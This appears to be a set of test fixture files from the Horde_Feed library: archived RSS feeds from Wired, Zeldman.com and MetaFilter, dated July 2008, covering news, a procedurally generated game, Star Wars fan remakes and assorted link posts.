src="http://www.pheedo.com/feeds/tracker.php?i=abccb912c9f87249c6cf208cf5be3c84" style="display: none;" border="0" height="1" width="1" alt=""/> <p><a href="http://feeds.wired.com/~a/wired/index?a=s0Llq5"><img src="http://feeds.wired.com/~a/wired/index?i=s0Llq5" border="0"></img></a></p><img src="http://feeds.wired.com/~r/wired/index/~4/341188443" height="1" width="1"/> Mon, 21 Jul 2008 04:00:00 GMT http://www.wired.com/science/discoveries/news/2008/07/dayintech_0721 Tony Long 2008-07-21T04:00:00Z http://www.wired.com/science/discoveries/news/2008/07/dayintech_0721 <cite>Love</cite>: The One-Man Multiplayer World http://feeds.wired.com/~r/wired/index/~3/341864335/pl_games_ss <img src='http://www.wired.com/images/article/magazine/1608/pl_games1_ss_t.jpg'></img>: <p>Although <cite>Love</cite>’s environment was created by an army of one &mdash; Swedish coder Eskil Steenberg, armed with an algorithm called procedural generation &mdash; about 100 players will be able to explore this virtual world together, establish towns, and fight monsters. </p><img src='http://www.wired.com/images/article/magazine/1608/pl_games2_ss_t.jpg'></img>: <p>Steenberg has a rare gift for both the art and the science of creating modern videogames. The most obvious strengths of his design are the astounding, impressionistic visuals. The world is dusky and smoky, or bright and watery, all within the same mysterious abstract scheme.</p><img src='http://www.wired.com/images/article/magazine/1608/pl_games3_ss_t.jpg'></img>: <p>By creating landscapes mathematically, Steenberg avoids spending the vast man-hours that are normally sunken into creating immersive game worlds. This means he can get on with tweaking the gameplay.</p><img src='http://www.wired.com/images/article/magazine/1608/pl_games4_ss_t.jpg'></img>: <p>Steenberg's experience in creating tools software has allowed him to create his own general toolset, which he's using for the creation of <cite>Love</cite>. One of his main concerns? Making accessible, easy-to-use tools that will work for geeks and artists alike.</p><img src='http://www.wired.com/images/article/magazine/1608/pl_games5_ss_t.jpg'></img>: <p>Steenberg's 3-D modeling tools allow for playful manipulation of multi-dimensional objects. The clickable interface makes modeling, deforming, and reworking 3-D aesthetics remarkably easy, which ties into Steenberg's personal philosophy: The more fun the tools are to use, the more productive the user will be.</p><img src='http://www.wired.com/images/article/magazine/1608/pl_games6_ss_t.jpg'></img>: <p>Players will be expected to work together to build and defend small towns, as well as explore the larger world around them. The feel of the play is expected to be as freeform as the look of the game. The story will seamlessly unfold through the choices players make as they interact with the monsters and in-game items.</p><img src='http://www.wired.com/images/article/magazine/1608/pl_games7_ss_t.jpg'></img>: <p><cite>Love</cite> players will be able to carve out caves, build stairways up mountainsides, and generally interact with their world on a “physical” level.</p><img src='http://www.wired.com/images/article/magazine/1608/pl_games8_ss_t.jpg'></img>: <p>How <cite>Love</cite> will develop once the game begins will all depend on the players’ actions. Steenberg is eager to see what they come up with.</p><img src='http://www.wired.com/images/article/magazine/1608/pl_games9_ss_t.jpg'></img>: <p>Steenberg's auto-generated game world looks more like a Monet painting than one of the heavily hand-crafted worlds gamers are accustomed to.</p><img src='http://www.wired.com/images/article/magazine/1608/pl_games10_ss_t.jpg'></img>: <p>Steenberg's work is entirely open source and will be available to be downloaded from his site (<cite>quelsolaar.com</cite>). </p><br style="clear: both;"/> <a style='font-size: 10px; color: maroon;' href='http://www.pheedo.com/hostedMorselClick.php?hfmm=v2:a313148f6b4f8474902c3439546fee50:NQoAjBBEjZ3BrDhuQuSvhT0YMqi14Lv%2FVdAecdAppGvuMoInnko3XTfA5VLhlLKmKvXIrKn38lbS9MxJUQ6tJ8GzuRKG%2B9AF%2F5SVFU7hSfA%3D'><img border='0' title='Add to Facebook' alt='Add to Facebook' src='http://www.pheedo.com/images/mm/facebook.gif'/></a> <a style='font-size: 10px; color: maroon;' href='http://www.pheedo.com/hostedMorselClick.php?hfmm=v2:2ef1fe0ab9ca383f126755004d913498:wkVeiv%2B8gmVUr%2FZ9yquxLyZeJBbDptvXuZhXCXxNErs8w0fD8vFX4wN808iI%2BlxF7T1E3U5s2smA65fzwfhhsKzxLjrB385I%2F2Kg39Q1eBs%3D'><img border='0' title='Add to Reddit' alt='Add to Reddit' src='http://www.pheedo.com/images/mm/reddit.png'/></a> <a style='font-size: 10px; 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color: maroon;' href='http://www.pheedo.com/hostedMorselClick.php?hfmm=v2:53802460a740e22dae4d4d482ab6b0c3:n5K3hIxPbRQuCWtfE4gnWi7E%2BBLlUAsRx%2BXNgrvqRuHe1bQ4RGVmILoF%2BwHZia3QwPfm1Bs2NBD6u%2Bz8twb2%2FlRi2ctnkFiSQ41Dw%2BzJC4o%3D'><img border='0' title='Add to Google' alt='Add to Google' src='http://www.pheedo.com/images/mm/google.png'/></a> <br style="clear: both;"/> <img alt="" style="border: 0; height:1px; width:1px;" border="0" src="http://www.pheedo.com/img.phdo?i=bf62355ab78438f660dde67e54344056" height="1" width="1"/> <img src="http://www.pheedo.com/feeds/tracker.php?i=bf62355ab78438f660dde67e54344056" style="display: none;" border="0" height="1" width="1" alt=""/> <p><a href="http://feeds.wired.com/~a/wired/index?a=JTc6FE"><img src="http://feeds.wired.com/~a/wired/index?i=JTc6FE" border="0"></img></a></p><img src="http://feeds.wired.com/~r/wired/index/~4/341149667" height="1" width="1"/> Mon, 21 Jul 2008 01:00:00 GMT http://blog.wired.com/underwire/2008/07/comic-based-mov.html Hugh Hart 2008-07-21T01:00:00Z http://blog.wired.com/underwire/2008/07/comic-based-mov.html Best <cite>Star Wars</cite> Remakes http://feeds.wired.com/~r/wired/index/~3/341149668/gallery_star_wars_remakes <img src='http://www.wired.com/images/slideshow/2008/07/gallery_star_wars_remakes/01_starwars_t.jpg'></img>: <p> We can safely stop calling <cite>Star Wars</cite> a movie and recognize it for what it really is: a virulent media infection. </p> <p> It's a great movie to be sure, but there are many superior movies, and none of them have inspired, say, <a href="http://www.501st.com/">thousands of people to dress up</a> as faceless, nameless secondary characters. <cite>One Flew Over the Cuckoo's Nest</cite> was a great movie, but you don't see 200 sanitarium orderlies marching in the Rose Parade. </p> <p> Nowhere can you witness <cite>Star Wars</cite>' contagious qualities more clearly than in the realm of fan-made videos that, to one extent or another, retell the story of <cite>Star Wars Episode IV: A New Hope</cite>, the movie formerly known simply as <cite>Star Wars</cite>. Here are some of the best. </p> <p> <strong>Left:</strong> </p> <p> <strong><cite>Star Wars</cite> Sweded</strong> </p> <p> Modern computing gives the average middle-class American a level of graphical processing power that would have made a '70s-era special effects engineer pant continuously. But that's no fun! Why render lifelike X-wing starfighters when you can build one out of cardboard and run around the park? </p> <p> <strong>Lightsabers portrayed by:</strong> Red and blue wrapping paper </p> <img src='http://www.wired.com/images/slideshow/2008/07/gallery_star_wars_remakes/02_starwars_t.jpg'></img>: <p><strong><cite>Star Wars Remake</cite></strong> </p> <p> Balanced precariously on the line between impressive and ridiculous, this silent, late-'70s remake stars a micro-encephalic Darth Vader and a 10-year-old Han Solo. While not as self-consciously goofy as "<cite>Star Wars</cite> Sweded," cardboard is still vitally important to the oeuvre. They managed to recruit an impressive Mark Hamill "Luke-alike," though. Yes, I just made that pun right in front of you. </p> <p> <strong>Lightsabers portrayed by:</strong> Transparent plastic dealies </p> <img src='http://www.wired.com/images/slideshow/2008/07/gallery_star_wars_remakes/03_starwars_t.jpg'></img>: <p> <strong>Hardware Wars</strong> </p> <p> Take the do-it-yourself sensibility of the previous two <cite>Star Wars</cite> tributes, add some hand puppets and jokes, and what do you get? The best <cite>Star Wars</cite> parody of all time, and yes I've seen <cite>Spaceballs</cite>. Toasters! Vacuum cleaners! Awesome. (Warning: brief fuzzy nudity at the end of the second part.) </p> <p> <strong>Lightsabers portrayed by:</strong> Flashlights </p> <img src='http://www.wired.com/images/slideshow/2008/07/gallery_star_wars_remakes/04_starwars_t.jpg'></img>: <p><strong>Lego Star Wars</strong> </p> <p> The <cite>Lego Star Wars</cite> games are a couple of the best co-op games out there, especially to play with younger children or friends who aren't really into videogames. As an added bonus, they're chock-full of amusing cut scenes portrayed with the sort of mute humor that only plastic bricks can provide. Even with the actual game parts removed, the resulting video is still fun to watch. </p> <p> <strong>Lightsabers portrayed by:</strong> Legos, duh. </p> <img src='http://www.wired.com/images/slideshow/2008/07/gallery_star_wars_remakes/05_starwars_t.jpg'></img>: <p> <strong><cite>Star Wars</cite> in Three Minutes With Action Figures</strong> </p> <p> I'm sure I'm not the only one who thought of trying to play out the entire <cite>Star Wars</cite> movie using the little action figures with the uncomfortable-looking embedded lightsabers as a kid. So I find it satisfying that at least one person has made an all-figure reinterpretation of the movie. Plus, it's brief.</p> <p><strong>Lightsabers portrayed by:</strong> Glowing, computer-generated lines. That's actually kind of disappointing. </p> <img src='http://www.wired.com/images/slideshow/2008/07/gallery_star_wars_remakes/06_starwars_t.jpg'></img>: <p> <strong><cite>Star Wars</cite> Shortened</strong> </p> <p> The George Lucas Appreciation Society -- I'm not sure if the fact that there are only three people in the society is supposed to be a backhanded slam -- covers all three original movies in just less than 10 minutes. Twice. Using one stage, some impressive vocal imitations, poetry, puppetry and interesting headgear. </p> <p> <strong>Lightsabers portrayed by:</strong> Mime </p> <img src='http://www.wired.com/images/slideshow/2008/07/gallery_star_wars_remakes/07_starwars_bunnies_t.jpg'></img>: <p> <strong><cite>Star Wars</cite> in Thirty Seconds With Bunnies</strong> </p> <p> You can't really argue with the fact that bunnies make things good. For instance, any given piece of chocolate can be improved by being melted down and formed into a bunny shape. So it's natural that <cite>Star Wars</cite> with bunnies (or, in some cases, aliens with bunny-ear implants) is head-devouringly amusing. Although Princess Leia's tied-up little bunny ears look painful. </p> <p> <strong>Lightsabers portrayed by:</strong> Flash animation </p> <img src='http://www.wired.com/images/slideshow/2008/07/gallery_star_wars_remakes/08_starwars_t.jpg'></img>: <p> <strong><cite>Star Wars</cite> Movie Mistakes</strong> </p> <p> What better way to appreciate a classic film than by going through it bit by bit, nit-picking all the small errors? If you're the sort of person who always notices when a movie character's cigarette keeps changing length from shot to shot, you'll enjoy this. You'll also enjoy it if you like seeing widescreen movies squashed into YouTube dimensions. </p> <p> <strong>Lightsabers portrayed by:</strong> A remote control and some digital effects </p> <img src='http://www.wired.com/images/slideshow/2008/07/gallery_star_wars_remakes/09_starwars_t.jpg'></img>: <p> <strong>Store Wars</strong> </p> <p> If you prefer your comedy served up with a side dish of heavy-handed social moralizing, this is the film for you. All the characters are portrayed by veggies and other edibles fighting over the concept of organic food. However, seeing R2-D2 portrayed as a block of tofu is worth being lectured by an Italian dessert. </p> <p> <strong>Lightsabers portrayed by:</strong> Little lightsabers. Come on people! Ever heard of carrot sticks? </p> <img src='http://www.wired.com/images/slideshow/2008/07/gallery_star_wars_remakes/10_starwars_t.jpg'></img>: <p> <strong>Thumb Wars</strong> </p> <p> This little tribute combines comedy and nostalgia with intensely disturbing creepiness. All the characters, most of the spaceships and many of the props are thumbs, but what makes this particularly notable are the little faces the filmmakers digitally superimpose on the thumbs. The faces combine the eeriness of upside-down chin puppets with staring wide-eyed marionettes, creating creatures that would claw at the dream centers of my brain if they weren't, you know, thumbs. </p> <p> <strong>Lightsabers portrayed by:</strong> You know, thumbs. </p> <img src='http://www.wired.com/images/slideshow/2008/07/gallery_star_wars_remakes/11_starwars_t.jpg'></img>: <p> <strong><cite>Star Wars</cite> According to a 3 Year Old</strong> </p> <p> This isn't the shortest summary of <cite>Star Wars</cite> in this list, but it may capture the essence of the film better than anything else. I think the sublime apex of the <cite>Star Wars</cite> experience lies in her description of what the nerdiest among us call The Battle of Yavin: "The big thing that blowed up stuff, we blowed it up together." Yes, little girl, yes we did. </p> <p> <strong>Lightsabers portrayed by:</strong> The phrase "little light-up sword." </p><br style="clear: both;"/> <a style='font-size: 10px; color: maroon;' href='http://www.pheedo.com/hostedMorselClick.php?hfmm=v2:51d7d8accdc9d9c1b9a7994bd3c0c620:DBSH7guVfbLLsxzbB1Gd8AMhVRr1FghIEiPU%2Fw847oRCtY9lLJX4E%2FhHyj87Yl7SYExysA6B3spHCvb6OcqX8KZ98rsJ6Gd9%2FkGWc%2BR%2FJbA%3D'><img border='0' title='Add to Facebook' alt='Add to Facebook' src='http://www.pheedo.com/images/mm/facebook.gif'/></a> <a style='font-size: 10px; color: maroon;' href='http://www.pheedo.com/hostedMorselClick.php?hfmm=v2:cf9e4a5cf0929f7e798e409d763f1a45:qkHqPViy1u6W6HFsT331YAnbKcwD22z4xc2rbvzh2GOxC33Vv%2FR%2FfhlU4uHF8UJNEL%2Bq3C9F7%2FfCmJzrSGjPLoqHU%2BFVlnXW6Bsu%2B10j%2FZE%3D'><img border='0' title='Add to Reddit' alt='Add to Reddit' src='http://www.pheedo.com/images/mm/reddit.png'/></a> <a style='font-size: 10px; color: maroon;' href='http://www.pheedo.com/hostedMorselClick.php?hfmm=v2:4af8aa7766f3989865c0458507ef0ff5:higT44gn1bDZUmWvdV5n14fFNzDoVPfqj%2FwA6fanaZfiFyQnA4HXahVthzugrkXpDySeF%2Bel3uVtJMxjEI62AimrUKhe7TUX1DC4w%2B8rZQQ%3D'><img border='0' title='Add to digg' alt='Add to digg' src='http://www.pheedo.com/images/mm/digg.gif'/></a> <a style='font-size: 10px; color: maroon;' href='http://www.pheedo.com/hostedMorselClick.php?hfmm=v2:96a479c3a38404508268a5321b7e5f1d:LmJ3xx9l0rmHi90Po9XMPZyn6HCutOko0lAA0kauzSopILFYF9IOcMqCw7k9OMU7%2F%2FHy7vnu9nJZNotMcwB3S7ZhnzGCeo%2BV0pehDPuS%2BpI%3D'><img border='0' title='Add to Google' alt='Add to Google' src='http://www.pheedo.com/images/mm/google.png'/></a> <br style="clear: both;"/> <a href="http://www.pheedo.com/click.phdo?s=e5dab77e5d0d96aab0818ff14075047c"><img alt="" style="border: 0;" border="0" src="http://www.pheedo.com/img.phdo?s=e5dab77e5d0d96aab0818ff14075047c"/></a> <img src="http://www.pheedo.com/feeds/tracker.php?i=e5dab77e5d0d96aab0818ff14075047c" style="display: none;" border="0" height="1" width="1" alt=""/> <p><a href="http://feeds.wired.com/~a/wired/index?a=wyMpW0"><img src="http://feeds.wired.com/~a/wired/index?i=wyMpW0" border="0"></img></a></p><img src="http://feeds.wired.com/~r/wired/index/~4/341149668" height="1" width="1"/> Mon, 21 Jul 2008 01:00:00 GMT http://www.wired.com/entertainment/hollywood/multimedia/2008/07/gallery_star_wars_remakes Lore Sjoberg 2008-07-21T01:00:00Z http://www.wired.com/entertainment/hollywood/multimedia/2008/07/gallery_star_wars_remakes Unlike John McCain, Many Seniors Rely on the Net http://feeds.wired.com/~r/wired/index/~3/341053100/WIRED_SENIORS Blogs are buzzing over Sen. John McCain's recent admission that he's internet illiterate. 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color: maroon;' href='http://www.pheedo.com/hostedMorselClick.php?hfmm=v2:56ca12cc56a066d64bea10d9579d42ed:Smbm5B%2BPtuK27RndAGkIHqW6d72tzD9JMX9Uk5xCypgkRmsJw2edGVkUQhhUH3vEw4cW4OUorrIpqYo%2FFm0zYgeMljzital9SAM0Lxfzs88%3D'><img border='0' title='Add to Google' alt='Add to Google' src='http://www.pheedo.com/images/mm/google.png'/></a> <br style="clear: both;"/> <img alt="" style="border: 0; height:1px; width:1px;" border="0" src="http://www.pheedo.com/img.phdo?i=2756955febf32596c239e87c88d94f7d" height="1" width="1"/> <img src="http://www.pheedo.com/feeds/tracker.php?i=2756955febf32596c239e87c88d94f7d" style="display: none;" border="0" height="1" width="1" alt=""/> <p><a href="http://feeds.wired.com/~a/wired/index?a=O8N3aF"><img src="http://feeds.wired.com/~a/wired/index?i=O8N3aF" border="0"></img></a></p><img src="http://feeds.wired.com/~r/wired/index/~4/341053100" height="1" width="1"/> Sun, 20 Jul 2008 23:00:00 GMT http://news.wired.com/dynamic/stories/W/WIRED_SENIORS?SITE=WIRE&SECTION=HOME&TEMPLATE=DEFAULT&CTIME=2008-07-20-13-48-29 Associated Press 2008-07-20T23:00:00Z http://news.wired.com/dynamic/stories/W/WIRED_SENIORS?SITE=WIRE&SECTION=HOME&TEMPLATE=DEFAULT&CTIME=2008-07-20-13-48-29 Hundreds of Baby Penguins Found Dead on Brazilian Shores http://feeds.wired.com/~r/wired/index/~3/341053101/BRAZIL_DEAD_PENGUINS Hundreds of baby penguins from the icy shores of Antarctica and Patagonia are washing up dead on Rio de Janeiro's tropical beaches.<br style="clear: both;"/> <a style='font-size: 10px; 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color: maroon;' href='http://www.pheedo.com/hostedMorselClick.php?hfmm=v2:af3683a0b77a8b4dc621dea614e2abeb:Ipn96DTel86g74VY8yEFM4WspFOusqlSKXNL3uDTxJWVSGXGsTRVzz7u%2BCnoJpAVoKEGx1HheNmaFuvzPTRtC%2Bu4QUZlF0airEGqOzLHvJU%3D'><img border='0' title='Add to Google' alt='Add to Google' src='http://www.pheedo.com/images/mm/google.png'/></a> <br style="clear: both;"/> <img alt="" style="border: 0; height:1px; width:1px;" border="0" src="http://www.pheedo.com/img.phdo?i=38e062160301109f0efec7409e6eae55" height="1" width="1"/> <img src="http://www.pheedo.com/feeds/tracker.php?i=38e062160301109f0efec7409e6eae55" style="display: none;" border="0" height="1" width="1" alt=""/> <p><a href="http://feeds.wired.com/~a/wired/index?a=v9lIyo"><img src="http://feeds.wired.com/~a/wired/index?i=v9lIyo" border="0"></img></a></p><img src="http://feeds.wired.com/~r/wired/index/~4/341053101" height="1" width="1"/> Sun, 20 Jul 2008 23:00:00 GMT http://news.wired.com/dynamic/stories/B/BRAZIL_DEAD_PENGUINS?SITE=WIRE&SECTION=HOME&TEMPLATE=DEFAULT&CTIME=2008-07-20-16-35-43 Associated Press 2008-07-20T23:00:00Z http://news.wired.com/dynamic/stories/B/BRAZIL_DEAD_PENGUINS?SITE=WIRE&SECTION=HOME&TEMPLATE=DEFAULT&CTIME=2008-07-20-16-35-43 Horde_Feed-2.0.4/test/Horde/Feed/fixtures/lexicon/http-www.zeldman.com-feed-zeldman.xml0000664000175000017500000001542112653701626027077 0ustar janjan Jeffrey Zeldman Presents The Daily Report http://www.zeldman.com Web design news and insights since 1995 Tue, 15 Jul 2008 09:20:09 +0000 http://backend.userland.com/rss092 en Underwear http://www.zeldman.com/2008/07/15/underwear/ Your US tax dollars at work A List Apart magazine. ]]> http://www.zeldman.com/2008/07/14/your-us-tax-dollars-at-work/ Customer support on the march http://www.zeldman.com/2008/07/13/customer-support-on-the-march/ Not at his desk funeral. Will be gone a week. Updates may be sparse.]]> http://www.zeldman.com/2008/07/07/not-at-his-desk/ Around the Word with Web Talent Taking Your Talent to the Web, adding their autographs, drawings, photos, and other verbal and visual messages to every page—even the covers and spine. ]]> http://www.zeldman.com/2008/07/03/around-the-word-with-web-talent/ ALA No. 262: Binding & Subversion Issue No. 262 of A List Apart, for people who make websites, Ryan Irelan invites us to collaborate and connect with Subversion, and Christophe Porteneuve explains how to get out of binding situations in JavaScript.]]> http://www.zeldman.com/2008/07/03/ala-no-262-binding-subversion/ Lube Tube Friedrolling: vt. Gratuitously posting Basecamp referral links disguised as tweets or blog posts.]]> http://www.zeldman.com/2008/07/02/lube-tube/ Office Koan No. 37 http://www.zeldman.com/2008/07/01/office-koan-no-37/ Life Needs a Rewind Button http://www.zeldman.com/2008/07/01/life-needs-a-rewind-button/ What happened here http://www.zeldman.com/2008/06/30/what-happened-here/ AEA Boston 2008 session notes http://www.zeldman.com/2008/06/25/aea-boston-2008-session-notes/ So long, Boston. We’ll be back. http://www.zeldman.com/2008/06/25/so-long-boston-well-be-back/ Video: Jeff Veen on Data Overload http://www.zeldman.com/2008/06/21/video-jeff-veen-on-data-overload/ Dialog from life http://www.zeldman.com/2008/06/21/dialog-from-life/ Art direction on the web? http://www.zeldman.com/2008/06/19/art-direction-on-the-web/ Horde_Feed-2.0.4/test/Horde/Feed/fixtures/lexicon/http-xml.metafilter.com-rss.xml0000664000175000017500000006230412653701626026033 0ustar janjan MetaFilter http://www.metafilter.com/ The past 24 hours of MetaFilter Tue, 22 Jul 2008 07:21:25 -0800 Tue, 22 Jul 2008 07:21:25 -0800 en-us http://blogs.law.harvard.edu/tech/rss 60 This is an XML content feed. It is intended to be viewed in a newsreader or syndicated to another site. The Breakfast Manifesto http://www.metafilter.com/73493/The-Breakfast-Manifesto <a href="http://nymag.com/restaurants/features/breakfast/47395/">The Coffee Junkie’s Guide to Caffeine Addiction.</a> Caffeine's a hell of a drug. In fact, it's <a href="http://ngm.nationalgeographic.com/ngm/0501/feature1/index.html">the world's most popular psychoactive drug</a>. And <a href="http://www.newsweek.com/id/32848">more and more</a> of us are <a href="http://www.cnn.com/2008/HEALTH/family/06/23/moms.caffeine/">getting hooked</a> on the stuff. <br /> From the first link: <i>&quot;In a relatively short amount of time, we have become a nation of caffeine addicts. Science has barely had time to study the effects of consumption at this volume. New research does, however, suggest that caffeine may not give us the instant jolt of productivity, alertness, and happiness we think it does. And most of us, it turns out, are using the drug all wrong.&quot;</i> tag:metafilter.com,2008:site.73493 Tue, 22 Jul 2008 07:21:25 -0800 coffee caffeine addiction drugs The Card Cheat My, it seems you have uncovered a periodicals repository! http://www.metafilter.com/73492/My-it-seems-you-have-uncovered-a-periodicals-repository <a href="http://www.mygazines.com/">Mygazines</a> is for <a href="http://mashable.com/2008/07/19/mygazines/">sharing magazines online</a>. <br /> tag:metafilter.com,2008:site.73492 Tue, 22 Jul 2008 07:19:56 -0800 mygazines magazine magazines sharing p2p mashable copyright goodnewsfortheinsane Art Deco http://www.metafilter.com/73491/Art-Deco <a href="http://www.decopix.com/New%20Site/Pages/Directory%20Pages/Intro.html">Art Deco</a> was the dominant style of the interwar era, coming out of Paris in the 1920's and ruling the roost until World War II broke out. Randy Juster's <a href="http://www.decopix.com/">Decopix - The Art Deco Resource</a> has enough pictures of Art Deco architecture to send one hurtling into <a href="http://www.americanheritage.com/articles/magazine/it/1988/1/1988_1_34.shtml">The Gernsback Continuum</a>. If that's not enough then there's always the 11000+ images of the Flickr <a href="http://www.flickr.com/groups/art-deco/pool/">Art Deco Pool</a>. But Art Deco wasn't just about architecture. On the Victoria and Albert Musem's Art Deco site one can <a href="http://www.vam.ac.uk/vastatic/microsites/1157_art_deco/about/starobjects/">view Art Deco objects in great detail</a>, rotating them and listening to audio lectures on each object. But before Art Deco was a design aesthetic it was an art-style. <a href="http://etext.virginia.edu/bsuva/artdeco/">Illustrations for the Art Deco Book in France</a> has more than 170 images from the proponents of that then-new style (some images are not safe for work, especially in the <a href="http://etext.virginia.edu/bsuva/artdeco/lecture2.html">George Barbier</a> section). <br /> tag:metafilter.com,2008:site.73491 Tue, 22 Jul 2008 06:59:33 -0800 art artdeco streamlinemoderne 1920s 1930s design GeorgeBarbier architecture WilliamGibson Gernsback HugoGernsback Kattullus No "pic-a-nic baskets" anymore http://www.metafilter.com/73490/No-picanic-baskets-anymore The latest issue of <em><a href="http://www.nps.gov/yell/planyourvisit/yellsciweb.htm">Yellowstone Science</a></em> quarterly is devoted to 5 articles chronicling the history of the management of grizzly bears in Yellowstone National Park, from the 1950s era &quot;garbage dump bears,&quot; to listing as an endangered species, to de-listing as endangered, to current management. Many excellent photos, maps, charts and graphs make this a great resource for people interested in the fate of grizzlies in the lower 48 states. <a href="http://www.nps.gov/yell/planyourvisit/upload/ys16(2)partI.pdf">Part 1 of the issue</a>. <a href="http://www.nps.gov/yell/planyourvisit/upload/ys6(2)partII.pdf">Part 2</a>. [links to PDF files] (<a href="http://wolves.wordpress.com/category/bears/">via</a>) <br /> tag:metafilter.com,2008:site.73490 Tue, 22 Jul 2008 06:33:28 -0800 grizzly bears paulsc Baby's First Internet http://www.metafilter.com/73489/Babys-First-Internet <a href="http://www.themorningnews.org/archives/galleries/babys_first_internet/">Baby's first internet</a> comes amidst other, less illustrated, <a href="http://www.bigcontrarian.com/2008/07/21/tacky/">concerns</a> about the all-consuming 'blogosphere' and increasingly online life. The problems, it seems, are somewhat <a href="http://www.nytimes.com/2008/07/20/magazine/20wwln-medium-t.html?_r=3&oref=slogin&ref=magazine&pagewanted=all">novel</a> and (one assumes) <a href="http://answers.yahoo.com/">almost endless</a>. <br /> tag:metafilter.com,2008:site.73489 Tue, 22 Jul 2008 06:26:13 -0800 baby internet morning news cartoon pictures introspection bellyscatch looking at yourself onewaymirror TMN tacky babby oxford blue Squeeeee! http://www.metafilter.com/73487/Squeeeee <a href="http://dalesdesigns.net/BA1.htm">Baby Animal Alphabet</a> <br /> <small>Speaking only for myself of course, the baby <a href="http://dalesdesigns.net/animals/baby_elephant.jpg">elephant</a> had me at hello...</small> tag:metafilter.com,2008:site.73487 Mon, 21 Jul 2008 22:55:07 -0800 baby animals alphabet miss lynnster "It doesn't really seem that long ago." http://www.metafilter.com/73485/It-doesnt-really-seem-that-long-ago <a href="http://www.folkstreams.net/film,112">Home Movies.</a> A 1975 documentary by a young academic folklorist, exploring what it was that people were doing when they made home movies: remembering selectively, creating a &quot;golden age.&quot; <br /> This little film looks kind of clunky these days (though I think I hear a clear antecedent of Ira Glass' delivery style in the narration of the filmmaker) , but it provoked some interesting thoughts about how little of our motivations for recording our lives has changed in the digital age, even as the ease with which we do it increases. We're still trying to preserve our lives, prevent time's motion, and create stories about ourselves. tag:metafilter.com,2008:site.73485 Mon, 21 Jul 2008 20:52:54 -0800 home movies film video documentary folkart folk culture Miko Virtual Thinking http://www.metafilter.com/73484/Virtual-Thinking <a href="http://www.kk.org/thetechnium/archives/2008/06/the_google_way.php">Correlative Analytics</a> -- or as O'Reilly might term the <a href="http://www.edge.org/q2008/q08_11.html#oreilly">Social Graph</a> -- sort of mirrors the debate on 'brute force' <a href="http://en.wikipedia.org/wiki/Computer-assisted_proof">algorithmic proofs</a> (that are &quot;<a href="http://cs.umaine.edu/~chaitin/summer.html">true for no reason</a>,&quot; <a href="http://slashdot.org/comments.pl?sid=25422&cid=2761967">cf</a>.) in which &quot;computers can extract patterns in this ocean of data that no human could ever possibly detect. These patterns are correlations. They may or may not be <a href="http://www.cscs.umich.edu/~crshalizi/thesis/">causative</a>, but we can learn new things. Therefore they accomplish what science does, although not in the traditional manner... In this part of science, we may get answers that work, but which we don't understand. Is this partial understanding? Or <a href="http://www.erasmatazz.com/library/History%20of%20Thinking/CoreArgument.html">a different kind</a> of <a href="http://denbeste.nu/cd_log_entries/2003/12/Superhumanintelligence.shtml">understanding</a>?&quot; Of course, say some in the scientific community: <a href="http://bactra.org/weblog/581.html">hogwash</a>; it's just a fabrication of scientifically/statistically illiterate pundits, like whilst new techniques in <a href="http://www.eurekalert.org/pub_releases/2008-02/bu-bmp022808.php">data analysis</a> are being developed to help keep ahead of the deluge... <br /> tag:metafilter.com,2008:site.73484 Mon, 21 Jul 2008 17:58:30 -0800 math philosophy research science kliuless Traction Park http://www.metafilter.com/73483/Traction-Park Active in the years before padded jungle gyms (and class action lawsuits), <a href="http://www.weirdnj.com/index.php?option=com_content&task=view&id=39&Itemid=28">Action Park </a> was a sometimes <a href="http://www.rideaccidents.com/water.html">bloody rite of passage</a> for many New Jersey kids. Infamous for its <a href="http://upload.wikimedia.org/wikipedia/en/thumb/7/78/Action_Park_looping_water_slide.jpg/300px-Action_Park_looping_water_slide.jpg">gravity-and-friction-defying looping waterslide</a> and beer gardens, it eventually produced so many injuries that the park bought the surrounding city extra ambulances to cope.<a href="http://theweirdusmessageboard.yuku.com/forum/viewtopic/id/869"> It still is</a> <a href="http://gregggethard.blogspot.com/2005/07/action-park-worlds-most-threatening.html">alive in </a><a href="http://www.themeparkreview.com/forum/viewtopic.php?t=2082&postdays=0&postorder=asc&start=30">many New Jersey</a> <a href="http://www.freezerbox.com/archive/article.php?id=235">hearts</a> <a href="http://www.poetv.com/video.php?vid=22061">today.</a>&lt;-video. <br /> Action Park is now no longer in operation, with a new waterpark named <a href="http://www.mountaincreekwaterpark.com/">Mountain Creek</a> having inherited its location, but not its dubious safety record. Or watersnakes. Or 40 foot diving cliff located on top of a public swimming area. Or flesh burning fibreglass alpine slide. tag:metafilter.com,2008:site.73483 Mon, 21 Jul 2008 17:09:34 -0800 waterpark newjersy accidents freedom intoxicating andwelikedit! concreteforest NFB beta... http://www.metafilter.com/73482/NFB-beta <a href="http://beta.nfb.ca/index-en/">The NFB beta is worth exploring...</a> You'll find some lovely old chestnuts like <a href="http://beta.nfb.ca/film/Mindscape/">Mindscape</a>, or <a href="http://beta.nfb.ca/film/romance_of_transportation_canada/">The Romance of Transportation in Canada</a>...the quality is generally good enough to watch in full screen mode if you choose a higher streaming speed under &quot;options&quot;. <br /> tag:metafilter.com,2008:site.73482 Mon, 21 Jul 2008 16:38:59 -0800 nfb beta bonobothegreat Pushing the Limits of Sandbox Games: Rollercoaster Tycoonists http://www.metafilter.com/73481/Pushing-the-Limits-of-Sandbox-Games-Rollercoaster-Tycoonists Roller Coaster Tycoon 3 came out in 2004, and was received with mixed reviews. Four years later, hobbyists of the game continue to take it to a whole other level. You may have already seen links to the <a href="http://www.youtube.com/watch?v=SnrHYY8TPqY">creative ways to devastate</a> in RCT3. A whole other group of fans, however, have gone on to create highly detailed parks and ride recreations. They use customized textures and mods to create <a href="http://www.youtube.com/watch?v=ayMmY4QZ7hI&feature=related">massive architectural works</a> that require hundreds--sometimes over thousands--of hours of work. <br /> Apologies in advance for the long intros and ride lines for some of these videos. (Yes, even the lines you stand in is a big part of Rollercoaster re-creation for many hobbyists.)<br /> <br /> <a href="http://youtube.com/watch?v=qWsWXc8qm3c">Space Mountain</a> (entry way and line shown <a href="http://youtube.com/watch?v=FyZ0ZZYMZ40&feature=related">here</a>)<br /> <br /> <a href="http://www.youtube.com/watch?v=IteJtn7xE5A">Pirates of the Carribean @ Disneyland Paris</a><br /> <br /> <a href="http://www.youtube.com/watch?v=87qhkIOyVJU">Epcot Center's Test Track</a><br /> <br /> A glowing <a href="http://www.youtube.com/watch?v=NkDIWFywaX8">tribute</a> to several creations, rousing music included.<br /> <br /> Still no word on a complete <a href="http://www.ataricommunity.com/forums/showthread.php?t=651013">Disneyland</a> however--the universal wisdom is that no one makes it past recreating <a 